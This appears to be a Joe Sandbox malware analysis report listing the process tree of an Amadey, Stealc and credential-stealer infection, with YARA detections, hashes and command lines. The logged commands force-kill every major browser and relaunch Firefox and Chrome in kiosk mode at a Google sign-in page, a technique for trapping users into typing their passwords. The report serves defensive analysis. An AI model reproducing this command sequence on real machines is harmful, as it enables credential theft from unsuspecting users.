MD5 hash:	7DE3C1AE47C4A3711EB3819636D97A85
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000E.00000002.2676839674.00000000009E1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000E.00000003.2635970230.00000000051C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	13:50:01
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xf20000
File size:	1'884'160 bytes
MD5 hash:	7DE3C1AE47C4A3711EB3819636D97A85
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000003.2682849149.0000000005710000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	13:50:02
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xf20000
File size:	1'884'160 bytes
MD5 hash:	7DE3C1AE47C4A3711EB3819636D97A85
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000010.00000002.2731282845.0000000000F21000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000010.00000003.2690741970.0000000004EB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	13:50:16
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe"
Imagebase:	0x2f0000
File size:	1'872'896 bytes
MD5 hash:	90CA710AAF9DBEB26796E2023B2C20A4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000003.2887857477.0000000000EFB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000003.2947502501.0000000000EDA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000003.2863895626.0000000000EF9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000003.2942344526.0000000000EF6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000003.2972911778.0000000000EDA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000003.2915507656.0000000000EFB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000003.2863431539.0000000000EF9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	13:50:24
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe"
Imagebase:	0xfd0000
File size:	1'789'952 bytes
MD5 hash:	1038F723C2FCA19F38FABBED2E099DBA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000012.00000002.2949039124.0000000000FD1000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000012.00000003.2903220212.00000000050D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000012.00000002.2948364302.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 39%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	13:50:32
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe"
Imagebase:	0x2f0000
File size:	1'872'896 bytes
MD5 hash:	90CA710AAF9DBEB26796E2023B2C20A4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.3165454493.0000000000DD0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.3165454493.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.3163189806.0000000000DD0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.3163189806.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.3126712779.0000000000DD1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.3084946747.0000000000DD1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.3174010406.0000000000DD8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	13:50:32
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe"
Imagebase:	0xbe0000
File size:	922'624 bytes
MD5 hash:	0C37B6B31773E922A0C8521A372FB1EA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 00000014.00000003.2958747592.0000000001853000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 34%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	13:50:32
Start date:	29/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xb50000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	13:50:32
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	13:50:35
Start date:	29/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xb50000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	13:50:35
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	13:50:35
Start date:	29/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xb50000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	13:50:35
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	13:50:35
Start date:	29/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xb50000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	13:50:35
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	13:50:35
Start date:	29/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xb50000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	13:50:35
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	13:50:36
Start date:	29/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	13:50:36
Start date:	29/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	13:50:36
Start date:	29/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	13:50:36
Start date:	29/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2184 -parentBuildID 20230927232528 -prefsHandle 2128 -prefMapHandle 2120 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d31f3b73-117a-46ce-a0f7-234ea1f05cc0} 7260 "\\.\pipe\gecko-crash-server-pipe.7260" 209e5570d10 socket
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	13:50:39
Start date:	29/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4112 -parentBuildID 20230927232528 -prefsHandle 4104 -prefMapHandle 4100 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {275762a2-0039-4320-92ee-e26bc0abc741} 7260 "\\.\pipe\gecko-crash-server-pipe.7260" 209f7adc910 rdd
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	13:50:40
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe"
Imagebase:	0xfd0000
File size:	1'789'952 bytes
MD5 hash:	1038F723C2FCA19F38FABBED2E099DBA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000024.00000003.3061560416.0000000004A80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000024.00000002.3153209613.0000000000777000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000024.00000002.3154929819.0000000000FD1000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	13:50:42
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe"
Imagebase:	0xb10000
File size:	2'799'616 bytes
MD5 hash:	B339132A89D00BAEB7CA4080AF49E1E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 45%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	13:50:48
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe"
Imagebase:	0xbe0000
File size:	922'624 bytes
MD5 hash:	0C37B6B31773E922A0C8521A372FB1EA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 00000026.00000003.3125854620.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	13:50:49
Start date:	29/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xb50000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	13:50:49
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	13:50:55
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe"
Imagebase:	0xbe0000
File size:	4'450'816 bytes
MD5 hash:	7B6E53D8288AB7A3A6326D4C54B50D29
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 39%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	13:50:57
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe"
Imagebase:	0xb10000
File size:	2'799'616 bytes
MD5 hash:	B339132A89D00BAEB7CA4080AF49E1E8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	13:50:59
Start date:	29/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=43cdd8ad97.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	13:51:00
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xf20000
File size:	1'884'160 bytes
MD5 hash:	7DE3C1AE47C4A3711EB3819636D97A85
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000002C.00000002.3321976741.0000000000F21000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000002C.00000003.3271435365.00000000050E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	13:51:00
Start date:	29/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2456 --field-trial-handle=2388,i,1742879964880318767,14885282472322802179,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	13:51:01
Start date:	29/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xb50000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	13:51:01
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	13:51:02
Start date:	29/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xb50000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	13:51:02
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	13:51:03
Start date:	29/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xb50000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	13:51:03
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	13:51:03
Start date:	29/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xb50000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	13:51:03
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	13:51:04
Start date:	29/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	13:51:04
Start date:	29/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	56
Start time:	13:51:04
Start date:	29/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=43cdd8ad97.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C4D35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C55F688,00001000), ref: 6C4D35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C4D35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C4D35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C4D363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C4D369F
__aulldiv.LIBCMT ref: 6C4D36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C4D3773
EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4D377E
LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4D37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C4D37C4
EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4D37CB
LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4D3801
__aulldiv.LIBCMT ref: 6C4D3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C4D3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C4D3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C4D394C

Strings

AuthcAMDenti, xrefs: 6C4D3946
MOZ_TIMESTAMP_MODE, xrefs: 6C4D35DB
GTC, xrefs: 6C4D3912
QPC, xrefs: 6C4D38FC
GenuntelineI, xrefs: 6C4D3639

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
